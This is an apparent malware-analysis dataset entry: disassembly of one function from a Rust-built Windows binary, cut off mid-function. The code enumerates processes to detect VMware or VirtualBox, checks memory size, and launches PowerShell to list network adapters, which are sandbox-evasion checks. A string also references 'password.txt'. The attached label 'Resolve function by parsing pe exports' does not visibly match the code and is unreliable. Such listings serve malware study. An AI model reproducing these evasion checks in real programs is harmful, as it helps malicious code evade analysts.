Function at 0x10008df4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1f0
lea esi, [esp + 0xd0]
mov ecx, esi
call sym.sysinfo::traits::SystemExt::new_all::h1721fbf9692a7ee2
cmp dword [esi + 0xf4], 0
je 0x10009eb0
lea ecx, [esp + 0xd0]
mov eax, dword [ecx + 0xf0]
mov esi, dword [eax + 0x18]
mov edi, dword [eax + 0x1c]
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::hf9931af71aa4861f
cmp esi, 0xc0000001
sbb edi, 0x12
jb 0x10009ed3
lea ecx, [esp + 0xd0]
call sym.sysinfo::traits::SystemExt::new_all::h1721fbf9692a7ee2
lea edx, [esp + 0x120]
lea ecx, [esp + 0x14]
call sym.__ZN119__LT__RF_std..collections..hash..map..HashMap_LT_K_C_V_C_S_GT__u20_as_u20_core..iter..traits..collect..IntoIterator_GT_
lea ecx, [esp + 0x14]
call sym.__ZN105__LT_std..collections..hash..map..Iter_LT_K_C_V_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_4next17h85aef1
test eax, eax
je 0x10008ef7
mov esi, edx
mov edx, dword [edx + 0xa4]
lea ecx, [esp + 0x70]
push dword [esi + 0xa8]
call sym.__LT_T_u20_as_u20_alloc..slice..hack..ConvertVec_GT_::to_vec::h6cba463480017753
pop eax
mov edi, dword [esp + 0x70]
mov ebx, dword [esp + 0x74]
mov esi, dword [esp + 0x78]
xor eax, eax
cmp esi, eax
je 0x10008eb5
mov cl, byte [ebx + eax]
mov edx, ecx
add dl, 0xbf
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [ebx + eax], dl
inc eax
jmp 0x10008e98
mov ecx, ebx
mov edx, esi
push 6
push str.vmwarevirtualboxpowershellGet_NetAdapter__Select_Object__ExpandProperty_NameVMwareVirtualBox_1002106128444_password.txt__
call sym.core::str::__LT_impl_u20_str_GT_::contains::h804bf89fe6d84cd0
pop ecx
pop edx
test al, al
jne 0x10009ebe
mov ecx, ebx
mov edx, esi
push 0xa
push 0x10174012
call sym.core::str::__LT_impl_u20_str_GT_::contains::h804bf89fe6d84cd0
pop ecx
pop edx
test al, al
jne 0x10009ebe
mov ecx, edi
mov edx, ebx
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
jmp 0x10008e61
lea esi, [esp + 0x70]
mov ecx, esi
call sym.__LT_sysinfo..windows..system..System_u20_as_u20_sysinfo..traits..SystemExt_GT_::name::hb3f422b63d5d9e61
mov eax, dword [esi]
cmp eax, 0x80000000
je 0x10009408
mov esi, dword [esp + 0x78]
mov ecx, dword [esp + 0x74]
mov dword [esp + 0x8c], eax
test esi, esi
mov dword [esp + 0x3c], ecx
je 0x1000903f
js 0x10009f59
mov al, byte [0x10237124]
xor ecx, ecx
mov edx, esi
call dbg.process_heap_alloc
test eax, eax
je 0x10009f5e
xor edi, edi
cmp esi, 8
mov dword [esp + 8], eax
jb 0x10009039
movaps xmm1, xmmword [0x101720c0]
movdqa xmm4, xmmword [0x101720f0]
mov eax, dword [esp + 0x3c]
movq xmm5, qword [eax + edi]
movdqa xmm6, xmm5
pand xmm6, xmmword [0x101720b0]
movd eax, xmm6
pshufd xmm6, xmm6, 0x55
movd ecx, xmm6
or ecx, eax
jne 0x10009039
movdqa xmm7, xmm5
movd eax, xmm5
mov ebx, esi
mov edx, eax
shufps xmm7, xmm5, 0x55
mov esi, eax
shr eax, 8
shr edx, 0x18
movd ecx, xmm7
movd xmm6, eax
shr esi, 0x10
mov eax, ecx
movd xmm3, edx
mov edx, ecx
movd xmm2, esi
shr ecx, 8
punpcklqdq xmm6, xmm5
mov esi, ebx
shr edx, 0x10
shr eax, 0x18
movd xmm7, ecx
punpcklqdq xmm3, xmm2
movd xmm2, eax
movd xmm0, edx
shufps xmm7, xmm5, 0xd4
shufps xmm6, xmm3, 0x22
mov eax, dword [esp + 8]
punpcklqdq xmm2, xmm0
andps xmm6, xmm1
shufps xmm7, xmm2, 0x22
andps xmm7, xmm1
packuswb xmm6, xmm7
packuswb xmm6, xmm6
movdqa xmm0, xmm6
paddb xmm0, xmmword [0x101720d0]
movdqa xmm2, xmm0
pmaxub xmm2, xmmword [0x101720e0]
pcmpeqb xmm2, xmm0
pandn xmm2, xmm4
por xmm2, xmm6
movq qword [eax + edi], xmm2
lea eax, [edi + 8]
add edi, 0x10
cmp edi, ebx
mov edi, eax
jbe 0x10008f64
mov edi, eax
mov ecx, dword [esp + 8]
jmp 0x10009044
xor edi, edi
xor ecx, ecx
inc ecx
mov eax, esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], edi
sub eax, edi
mov dword [esp + 0x38], eax
jne 0x10009065
mov eax, ecx
mov ebx, esi
mov edi, ecx
jmp 0x100093bb
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xc], 0
add edi, eax
add esi, eax
mov dword [esp + 8], edi
mov dword [esp + 0x34], esi
movzx edx, byte [edi]
test dl, dl
js 0x1000908d
lea eax, [edi + 1]
mov dword [esp + 4], eax
jmp 0x100090fe
movzx esi, byte [edi + 1]
mov eax, edx
and eax, 0x1f
and esi, 0x3f
cmp dl, 0xdf
jbe 0x100090d8
movzx ecx, byte [edi + 2]
shl esi, 6
and ecx, 0x3f
or ecx, esi
cmp dl, 0xf0
jb 0x100090ec
movzx edx, byte [edi + 3]
and eax, 7
shl ecx, 6
mov esi, dword [esp + 0x34]
shl eax, 0x12
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
je 0x100093af
lea eax, [edi + 4]
jmp 0x10009087
shl eax, 6
lea ecx, [edi + 2]
or eax, esi
mov esi, dword [esp + 0x34]
mov dword [esp + 4], ecx
mov edx, eax
jmp 0x100090fe
mov esi, dword [esp + 0x34]
shl eax, 0xc
lea edx, [edi + 3]
or ecx, eax
mov dword [esp + 4], edx
mov edx, ecx
cmp edx, 0x3a3
mov dword [esp + 0x10], edi
je 0x10009133
cmp edx, 0x110000
je 0x100093af
cmp edx, 0x80
jae 0x10009150
mov eax, edx
xor ecx, ecx
add al, 0xbf
cmp al, 0x1a
setb cl
shl ecx, 5
or edx, ecx
jmp 0x10009286
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x1000918f
cmp ecx, dword [esp + 0x38]
jae 0x10009189
mov eax, dword [esp + 8]
cmp byte [eax + ecx], 0xbf
jg 0x1000918f
jmp 0x10009ee4
xor eax, eax
mov ecx, 0x57f
mov edi, 0x57f
shr ecx, 1
add ecx, eax
mov esi, dword [ecx*8 + 0x1017750c]
cmp esi, edx
je 0x10009254
cmp esi, edx
cmova edi, ecx
lea ecx, [ecx + 1]
cmovb eax, ecx
mov ecx, edi
sub ecx, eax
ja 0x1000915c
mov esi, dword [esp + 0x34]
jmp 0x10009286
jne 0x10009ee4
mov eax, dword [esp + 8]
lea edi, [eax + ecx]
xor eax, eax
cmp edi, dword [esp + 8]
je 0x1000934c
movzx ebx, byte [edi - 1]
test bl, bl
js 0x100091ad
dec edi
jmp 0x10009201
movzx ecx, byte [edi - 2]
cmp cl, 0xc0
jge 0x100091d7
movzx edx, byte [edi - 3]
cmp dl, 0xbf
jg 0x100091df
movzx esi, byte [edi - 4]
and edx, 0x3f
add edi, 0xfffffffc
and esi, 7
shl esi, 6
or edx, esi
mov esi, dword [esp + 0x34]
jmp 0x100091e5
add edi, 0xfffffffe
and ecx, 0x1f
jmp 0x100091ed
add edi, 0xfffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and ebx, 0x3f
or ebx, ecx
cmp ebx, 0x110000
je 0x1000934c
test al, al
jne 0x10009219
mov ecx, ebx
call sym.core::unicode::unicode_data::case_ignorable::lookup::h3b67bb8fc9b33697
test al, al
je 0x10009219
mov ebx, 0x110000
xor eax, eax
jmp 0x1000921b
mov al, 1
cmp ebx, 0x110000
je 0x10009198
mov ecx, ebx
call sym.core::unicode::unicode_data::cased::lookup::h24742d997f4ece8f
test al, al
je 0x1000934c
mov edi, dword [esp + 0xc]
add edi, 2
je 0x1000929a
cmp edi, dword [esp + 0x38]
jae 0x10009294
mov eax, dword [esp + 8]
cmp byte [eax + edi], 0xbf
jg 0x1000929a
jmp 0x10009f4a
mov edx, dword [ecx*8 + 0x10177510]
mov eax, edx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
push 0x69
pop eax
mov esi, dword [esp + 0x34]
cmovb edx, eax
jae 0x10009286
lea ecx, [esp + 0x14]
call dbg.push
mov edx, 0x307
lea ecx, [esp + 0x14]
call dbg.push
jmp 0x1000937e
jne 0x10009f4a
add edi, dword [esp + 8]
xor eax, eax
cmp edi, esi
je 0x1000939a
movzx ebx, byte [edi]
test bl, bl
js 0x100092b2
inc edi
jmp 0x1000931b
movzx esi, byte [edi + 1]
mov ecx, ebx
and ecx, 0x1f
and esi, 0x3f
cmp bl, 0xdf
jbe 0x100092fd
movzx edx, byte [edi + 2]
shl esi, 6
and edx, 0x3f
or edx, esi
cmp bl, 0xf0
jb 0x1000930d
movzx ebx, byte [edi + 3]
and ecx, 7
shl edx, 6
mov esi, dword [esp + 0x34]
shl ecx, 0x12
and ebx, 0x3f
or ebx, edx
or ebx, ecx
cmp ebx, 0x110000
je 0x1000939a
add edi, 4
jmp 0x1000931b
shl ecx, 6
add edi, 2
or ecx, esi
mov esi, dword [esp + 0x34]
mov ebx, ecx
jmp 0x1000931b
mov esi, dword [esp + 0x34]
shl ecx, 0xc
add edi, 3
or edx, ecx
mov ebx, edx
test al, al
jne 0x10009333
mov ecx, ebx
call sym.core::unicode::unicode_data::case_ignorable::lookup::h3b67bb8fc9b33697
test al, al
je 0x10009333
mov ebx, 0x110000
xor eax, eax
jmp 0x10009335
mov al, 1
cmp ebx, 0x110000
je 0x100092a0
mov ecx, ebx
call sym.core::unicode::unicode_data::cased::lookup::h24742d997f4ece8f
test al, al
je 0x1000939a
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
mov di, 0x83cf
sub eax, edx
cmp eax, 2
jae 0x1000936f
lea ecx, [esp + 0x14]
push 2
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve::do_reserve_and_handle::h56c82276829a5585
pop eax
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov word [eax + edx], di
add edx, 2
mov dword [esp + 0x1c], edx
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 4]
sub eax, dword [esp + 0x10]
add eax, edi
cmp edi, esi
mov dword [esp + 0xc], eax
jne 0x1000907d
jmp 0x100093af
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
mov di, 0x82cf
sub eax, edx
cmp eax, 1
jbe 0x1000935f
jmp 0x1000936f
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
mov ecx, edi
mov edx, ebx
push 6
push str.vmwarevirtualboxpowershellGet_NetAdapter__Select_Object__ExpandProperty_NameVMwareVirtualBox_1002106128444_password.txt__
call sym.core::str::__LT_impl_u20_str_GT_::contains::h804bf89fe6d84cd0
pop ecx
pop edx
test al, al
jne 0x10009f18
mov ecx, edi
mov edx, ebx
push 0xa
push 0x10174012
call sym.core::str::__LT_impl_u20_str_GT_::contains::h804bf89fe6d84cd0
pop ecx
pop edx
test al, al
jne 0x10009f18
mov ecx, esi
mov edx, edi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
mov ecx, dword [esp + 0x8c]
mov edx, dword [esp + 0x3c]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
lea ecx, [esp + 0xd0]
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::hf9931af71aa4861f
mov al, byte [0x10237124]
push 0xa
pop esi
xor ecx, ecx
mov edx, esi
call dbg.process_heap_alloc
test eax, eax
je 0x10009f06
mov word [eax + 8], 0x6c6c
mov dword [eax + 4], 0x65687372
mov dword [eax], 0x65776f70
push 6
pop ecx
pxor xmm0, xmm0
mov dword [esp + 0xd0], ecx
mov dword [esp + 0xd8], ecx
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe8], esi
mov dword [esp + 0xec], eax
mov dword [esp + 0xf0], esi
mov byte [esp + 0xf4], 0
and dword [esp + 0xf8], 0
mov dword [esp + 0xfc], 4
and dword [esp + 0x100], 0
mov dword [esp + 0x104], 0x80000000
and word [esp + 0x134], 0
movq qword [esp + 0x114], xmm0
movq qword [esp + 0x11c], xmm0
movq qword [esp + 0x124], xmm0
movq qword [esp + 0x12c], xmm0
mov al, byte [0x10237124]
push 0x33
pop edi
xor ecx, ecx
mov edx, edi
call dbg.process_heap_alloc
test eax, eax
je 0x10009f0d
mov esi, eax
lea ebx, [esp + 0xf8]
push 0x33
push 0x10174026
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, ebx
xor edx, edx
call dbg.reserve_for_push<std::sys::pal::windows::args::Arg, alloc::alloc::Global>
lea edx, [esp + 0xd0]
mov ecx, dword [edx + 0x30]
mov eax, dword [edx + 0x2c]
imul ebx, ecx, 0x14
inc ecx
and dword [eax + ebx], 0
mov dword [eax + ebx + 4], edi
mov dword [eax + ebx + 8], esi
mov dword [eax + ebx + 0xc], edi
mov byte [eax + ebx + 0x10], 0
mov dword [edx + 0x30], ecx
lea esi, [esp + 0x14]
mov ecx, esi
call dbg.spawn
mov eax, dword [esi + 8]
mov ebx, dword [esi]
mov ecx, dword [esi + 4]
cmp eax, 2
jne 0x10009554
mov edi, ebx
mov esi, ecx
shr edi, 8
jmp 0x100099cf
movq xmm0, qword [esp + 0x20]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x30]
movsd xmm1, qword [esp + 0x28]
mov dword [esp + 8], ebx
movq qword [esp + 0xac], xmm0
mov dword [esp + 0xbc], ecx
movsd qword [esp + 0xb4], xmm1
mov ecx, dword [esp + 0xac]
and dword [esp + 0xa8], 0
test eax, eax
je 0x1000959e
push ecx
call sub.kernel32.dll_CloseHandle
and dword [esp + 0x40], 0
xor ecx, ecx
mov edx, dword [esp + 0xb0]
and dword [esp + 0xb0], 0
and dword [esp + 0x4c], 0
and dword [esp + 0x54], 0
mov ebx, dword [esp + 0xb4]
mov eax, dword [esp + 0xb8]
and dword [esp + 0xb8], 0
inc ecx
mov edi, dword [esp + 0xbc]
mov dword [esp + 0x44], ecx
and dword [esp + 0x48], 0
mov dword [esp + 0x50], ecx
cmp edx, 0
je 0x1000962f
test eax, eax
je 0x1000965d
mov dword [esp + 0x10], edi
lea eax, [esp + 0x40]
mov edx, ebx
lea ecx, [esp + 0x14]
push eax
call sym.std::sys::pal::windows::pipe::AsyncPipe::new::had136a570d1edb6a
pop eax
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
cmp eax, 3
jne 0x1000968b
mov eax, ebx
shr eax, 0x10
mov dword [esp + 4], eax
push dword [esp + 0x10]
call sub.kernel32.dll_CloseHandle
jmp 0x10009914
test eax, eax
je 0x1000991d
lea edx, [esp + 0x90]
mov dword [edx], edi
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x58]
push eax
call dbg.read_to_end
pop eax
cmp byte [esp + 0x58], 4
jne 0x10009fa5
push edi
jmp 0x10009681
lea edx, [esp + 0x90]
mov dword [edx], ebx
lea eax, [esp + 0x40]
lea ecx, [esp + 0x58]
push eax
call dbg.read_to_end
pop eax
cmp byte [esp + 0x58], 4
jne 0x10009fd0
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x1000991d
lea esi, [esp + 0x14]
lea edx, [esp + 0x9c]
mov ecx, dword [esi + 0x14]
movq xmm0, qword [esi + 0xc]
mov dword [edx + 8], ecx
movq qword [edx], xmm0
mov dword [esp + 0x90], eax
mov dword [esp + 0x98], edi
mov dword [esp + 0x94], ebx
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x4c]
mov ecx, esi
push eax
call sym.std::sys::pal::windows::pipe::AsyncPipe::new::had136a570d1edb6a
pop eax
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
cmp eax, 3
jne 0x100096ea
mov eax, ebx
shr eax, 0x10
mov dword [esp + 4], eax
jmp 0x10009904
mov ecx, dword [esp + 0x28]
movq xmm0, qword [esp + 0x20]
lea edx, [esp + 0x64]
mov dword [edx + 8], ecx
lea ecx, [esp + 0x58]
movq qword [edx], xmm0
lea edx, [esp + 0x1d8]
mov dword [ecx], eax
mov dword [ecx + 8], edi
mov dword [ecx + 4], ebx
lea edi, [esp + 0x90]
mov esi, edx
mov eax, dword [edi + 0x14]
mov ecx, dword [ecx + 0x14]
mov dword [edx], eax
mov dword [edx + 4], ecx
push 0xffffffffffffffff
push 0
push esi
push 2
call sub.kernel32.dll_WaitForMultipleObjects
cmp eax, 1
je 0x10009782
test eax, eax
jne 0x100098ee
mov eax, dword [esp + 0x90]
test eax, eax
je 0x100097e2
cmp eax, 1
jne 0x100097c1
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0xa0]
and dword [esp + 0x14], 0
push 1
lea edx, [esp + 0x18]
push edx
push eax
push ecx
call sub.kernel32.dll_GetOverlappedResult
test eax, eax
je 0x10009808
mov ebx, dword [esp + 0x14]
jmp 0x100097c8
mov eax, dword [esp + 0x58]
test eax, eax
je 0x10009843
cmp eax, 2
jne 0x1000979c
mov ebx, dword [esp + 0x5c]
jmp 0x10009833
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x68]
and dword [esp + 0x14], 0
push 1
lea edx, [esp + 0x18]
push edx
push eax
push ecx
call sub.kernel32.dll_GetOverlappedResult
test eax, eax
je 0x1000981e
mov ebx, dword [esp + 0x14]
jmp 0x10009833
mov ebx, dword [esp + 0x94]
and dword [esp + 0x90], 0
mov eax, dword [esp + 0x9c]
add dword [eax + 8], ebx
test ebx, ebx
je 0x1000986b
lea ecx, [esp + 0x14]
mov edx, edi
call dbg.schedule_read
mov bl, byte [esp + 0x14]
mov bh, byte [esp + 0x15]
cmp bl, 4
jne 0x100098e3
test bh, bh
jne 0x10009726
jmp 0x1000986b
xor ebx, ebx
call sub.kernel32.dll_GetLastError
cmp eax, 0x6d
je 0x100097c8
cmp eax, 0x26
je 0x100097c8
jmp 0x10009e8f
xor ebx, ebx
call sub.kernel32.dll_GetLastError
cmp eax, 0x6d
je 0x10009833
cmp eax, 0x26
jne 0x10009e8f
and dword [esp + 0x58], 0
mov eax, dword [esp + 0x64]
add dword [eax + 8], ebx
test ebx, ebx
je 0x1000986f
lea ecx, [esp + 0x14]
lea edx, [esp + 0x58]
call dbg.schedule_read
mov bl, byte [esp + 0x14]
mov bh, byte [esp + 0x15]
cmp bl, 4
jne 0x100098e3
test bh, bh
jne 0x10009726
jmp 0x1000986f
lea edi, [esp + 0x58]
mov eax, dword [edi]
test eax, eax
je 0x100098c3
cmp eax, 2
jne 0x1000987f
mov ebx, dword [edi + 4]
jmp 0x100098b6
mov eax, dword [edi + 8]
and dword [esp + 0x14], 0
push 1
lea ecx, [esp + 0x18]
push ecx
push eax
push dword [edi + 0x10]
call sub.kernel32.dll_GetOverlappedResult
test eax, eax
je 0x100098a1
mov ebx, dword [esp + 0x14]
jmp 0x100098b6
xor ebx, ebx
call sub.kernel32.dll_GetLastError
cmp eax, 0x6d
je 0x100098b6
cmp eax, 0x26
jne 0x10009e8f
and dword [edi], 0
mov eax, dword [edi + 0xc]
add dword [eax + 8], ebx
test ebx, ebx
je 0x100098df
lea ecx, [esp + 0x14]
mov edx, edi
call dbg.schedule_read
mov bl, byte [esp + 0x14]
mov bh, byte [esp + 0x15]
cmp bl, 4
jne 0x100098e3
test bh, bh
jne 0x1000986f
mov bl, 4
jmp 0x100098f7
movzx eax, word [esp + 0x16]
mov edi, dword [esp + 0x18]
jmp 0x100098f7
xor ebx, ebx
call sub.kernel32.dll_GetLastError
mov edi, eax
mov dword [esp + 4], eax
lea ecx, [esp + 0x58]
call dbg.drop_in_place<std::sys::pal::windows::pipe::AsyncPipe>
lea ecx, [esp + 0x90]
call dbg.drop_in_place<std::sys::pal::windows::pipe::AsyncPipe>
lea esi, [esp + 0x14]
cmp bl, 4
jne 0x10009f68
push 0xffffffffffffffff
mov edi, dword [esp + 0xc]
push edi
call sub.kernel32.dll_WaitForSingleObject
test eax, eax
je 0x10009966
call sub.kernel32.dll_GetLastError
cmp dword [esp + 0x4c], 0
mov esi, eax
je 0x10009947
mov ecx, dword [esp + 0x50]
xor edx, edx
inc edx
call sym.___rust_dealloc
cmp dword [esp + 0x40], 0
je 0x1000995a
mov ecx, dword [esp + 0x44]
xor edx, edx
inc edx
call sym.___rust_dealloc
mov dword [esp + 0x10], 0x80000000
xor ebx, ebx
jmp 0x100099b1
and dword [esp + 0x14], 0
push esi
push edi
call sub.kernel32.dll_GetExitCodeProcess
test eax, eax
je 0x10009e8a
mov ebx, dword [esp + 0x44]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x54]
movq xmm0, qword [esp + 0x4c]
mov esi, dword [esp + 0x48]
mov edi, ebx
mov dword [esp + 4], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0xc8], ecx
movq qword [esp + 0xc0], xmm0
shr edi, 8
push dword [esp + 8]
call sub.kernel32.dll_CloseHandle
push dword [esp + 0xc]
call sub.kernel32.dll_CloseHandle
mov edx, dword [esp + 0x10]
cmp edx, 0x80000000
jne 0x100099e9
shl edi, 8
movzx eax, bl
or eax, edi
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], esi
mov dword [esp + 0x70], 0x80000000
jmp 0x10009a25
mov ecx, dword [esp + 0xc8]
movq xmm0, qword [esp + 0xc0]
shl edi, 8
movzx eax, bl
or eax, edi
mov dword [esp + 0x84], ecx
mov ecx, dword [esp + 4]
movq qword [esp + 0x7c], xmm0
mov dword [esp + 0x70], edx
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], esi
mov dword [esp + 0x88], ecx
mov ecx, dword [esp + 0xe8]
mov edx, dword [esp + 0xec]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
mov esi, dword [esp + 0xfc]
mov edi, dword [esp + 0x100]
add esi, 8
sub edi, 1
jb 0x10009a5d
mov ecx, dword [esi - 4]
mov edx, dword [esi]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
add esi, 0x14
jmp 0x10009a49
mov eax, dword [esp + 0xf8]
test eax, eax
je 0x10009a7c
mov ecx, dword [esp + 0xfc]
imul eax, eax, 0x14
push 4
pop edx
push eax
call sym.__LT_alloc..alloc..Global_u20_as_u20_core..alloc..Allocator_GT_::deallocate::hcacc92fefce56ab3
pop eax
mov edx, dword [esp + 0x114]
xor esi, esi
test edx, edx
je 0x10009aad
mov eax, dword [esp + 0x118]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x11c]
mov dword [esp + 8], eax
xor eax, eax
inc eax
mov dword [esp + 4], eax
mov eax, edx
jmp 0x10009ba9
mov dword [esp + 4], 0
mov dword [esp + 8], 0
jmp 0x10009ba9
cmp dword [esp + 4], 0
je 0x10009ed8
test esi, esi
je 0x10009ad9
mov ebx, dword [esp + 0xc]
mov edx, esi
jmp 0x10009af5
mov eax, dword [esp + 0xc]
sub eax, 1
jb 0x10009aea
mov edx, dword [edx + 0x1ec]
jmp 0x10009add
xor ebx, ebx
xor eax, eax
xor esi, esi
inc esi
mov dword [esp + 4], esi
dec ecx
mov edi, edx
lea esi, [esp + 0x14]
mov dword [esp + 8], ecx
movzx ecx, word [edi + 0x1ea]
cmp ebx, ecx
jb 0x10009b2c
mov ecx, esi
mov edx, edi
push eax
call fcn.100dca37
pop eax
mov edi, dword [esp + 0x14]
test edi, edi
je 0x10009ea4
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
jmp 0x10009b00
lea ecx, [ebx + 1]
test eax, eax
je 0x10009b4f
lea ecx, [edi + ecx*4 + 0x1ec]
mov esi, dword [ecx]
dec eax
lea ecx, [esi + 0x1ec]
jne 0x10009b3a
mov dword [esp + 0xc], 0
jmp 0x10009b55
mov dword [esp + 0xc], ecx
mov esi, edi
imul eax, ebx, 0x1c
mov ecx, dword [edi + eax + 0xb4]
mov edx, dword [edi + eax + 0xb8]
mov dword [esp + 0x10], eax
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
mov eax, dword [esp + 0x10]
mov ecx, dword [edi + eax + 0xc4]
mov edx, dword [edi + eax + 0xc8]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h7bb24c24b88caf4f
shl ebx, 4
xor edx, edx
mov eax, 0
mov ecx, dword [edi + ebx]
cmp ecx, 0x80000000
je 0x10009ba9
add edi, ebx
mov edx, dword [edi + 4]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
xor edx, edx
xor eax, eax
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x10009ac2
cmp dword [esp + 4], 0
je 0x10009bf4
test esi, esi
je 0x10009bc6
mov eax, edx
mov edx, esi
jmp 0x10009bd9
mov eax, dword [esp + 0xc]
sub eax, 1
jb 0x10009bd7
mov edx, dword [edx + 0x1ec]
jmp 0x10009bca
xor eax, eax
lea esi, [esp + 0x14]
mov ecx, esi
push eax
call fcn.100dca37
pop eax
mov edx, dword [esp + 0x14]
test edx, edx
je 0x10009bf4
mov eax, dword [esp + 0x18]
jmp 0x10009bdd
mov ecx, dword [esp + 0x104]
cmp ecx, 0x80000000
je 0x10009c0f
mov edx, dword [esp + 0x108]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
mov ecx, dword [esp + 0xd0]
mov edx, dword [esp + 0xd4]
call sym.core::ptr::drop_in_place_LT_core..option..Option_LT_std..sys..pal..windows..process..Stdio_GT__GT_::hdc17f7c1a2f887e0
mov ecx, dword [esp + 0xd8]
mov edx, dword [esp + 0xdc]
call sym.core::ptr::drop_in_place_LT_core..option..Option_LT_std..sys..pal..windows..process..Stdio_GT__GT_::hdc17f7c1a2f887e0
mov ecx, dword [esp + 0xe0]
mov edx, dword [esp + 0xe4]
call sym.core::ptr::drop_in_place_LT_core..option..Option_LT_std..sys..pal..windows..process..Stdio_GT__GT_::hdc17f7c1a2f887e0
mov esi, dword [esp + 0x128]
xor ebx, ebx
test esi, esi
je 0x10009c73
mov eax, dword [esp + 0x130]
mov edi, dword [esp + 0x12c]
mov dword [esp + 8], eax
xor eax, eax
inc eax
mov dword [esp + 0x10], eax
jmp 0x10009d35
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
jmp 0x10009d35
cmp dword [esp + 0x10], 0
je 0x10009eda
test ebx, ebx
jne 0x10009cb1
mov ebx, esi
sub edi, 1
jb 0x10009ca6
mov ebx, dword [ebx + 0xb8]
jmp 0x10009c99
xor edi, edi
xor esi, esi
xor ecx, ecx
inc ecx
mov dword [esp + 0x10], ecx
dec eax
mov edx, ebx
mov dword [esp + 8], eax
mov eax, edi
lea edi, [esp + 0x14]
movzx ecx, word [edx + 0xb6]
cmp eax, ecx
jb 0x10009ce8
mov ecx, edi
push esi
call fcn.100dc9d8
pop eax
mov edx, dword [esp + 0x14]
test edx, edx
je 0x10009ea6
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
jmp 0x10009cbe
lea edi, [eax + 1]
test esi, esi
je 0x10009d05
lea ecx, [edx + edi*4 + 0xb8]
mov ebx, dword [ecx]
dec esi
lea ecx, [ebx + 0xb8]
jne 0x10009cf6
xor edi, edi
jmp 0x10009d07
mov ebx, edx
imul eax, eax, 0xc
mov ecx, dword [edx + eax + 0x30]
mov esi, dword [edx + eax + 0x34]
mov dword [esp + 0xc], ecx
push ecx
call dword [esi]
mov ecx, esi
add esp, 4
mov eax, dword [esi + 4]
xor esi, esi
test eax, eax
je 0x10009d35
mov edx, dword [ecx + 8]
mov ecx, dword [esp + 0xc]
push eax
call sym.__LT_alloc..alloc..Global_u20_as_u20_core..alloc..Allocator_GT_::deallocate::hcacc92fefce56ab3
pop eax
mov eax, dword [esp + 8]
test eax, eax
jne 0x10009c88
cmp dword [esp + 0x10], 0
je 0x10009d7a
test ebx, ebx
jne 0x10009d5d
mov ebx, esi
sub edi, 1
jb 0x10009d5b
mov ebx, dword [ebx + 0xb8]
jmp 0x10009d4e
xor esi, esi
lea edi, [esp + 0x14]
mov ecx, edi
mov edx, ebx
push esi
call fcn.100dc9d8
pop eax
mov ebx, dword [esp + 0x14]
test ebx, ebx
je 0x10009d7a
mov esi, dword [esp + 0x18]
jmp 0x10009d61
cmp dword [esp + 0x70], 0x80000000
jne 0x10009d8f
lea ecx, [esp + 0x70]
call sym.__ZN4core3ptr93drop_in_place_LT_core..result..Result_LT_std..process..Output_C_std..io..error..Error_GT__GT_17heae3cdf2a35e692
jmp 0x10009df7
mov edx, dword [esp + 0x74]
lea edi, [esp + 0xd0]
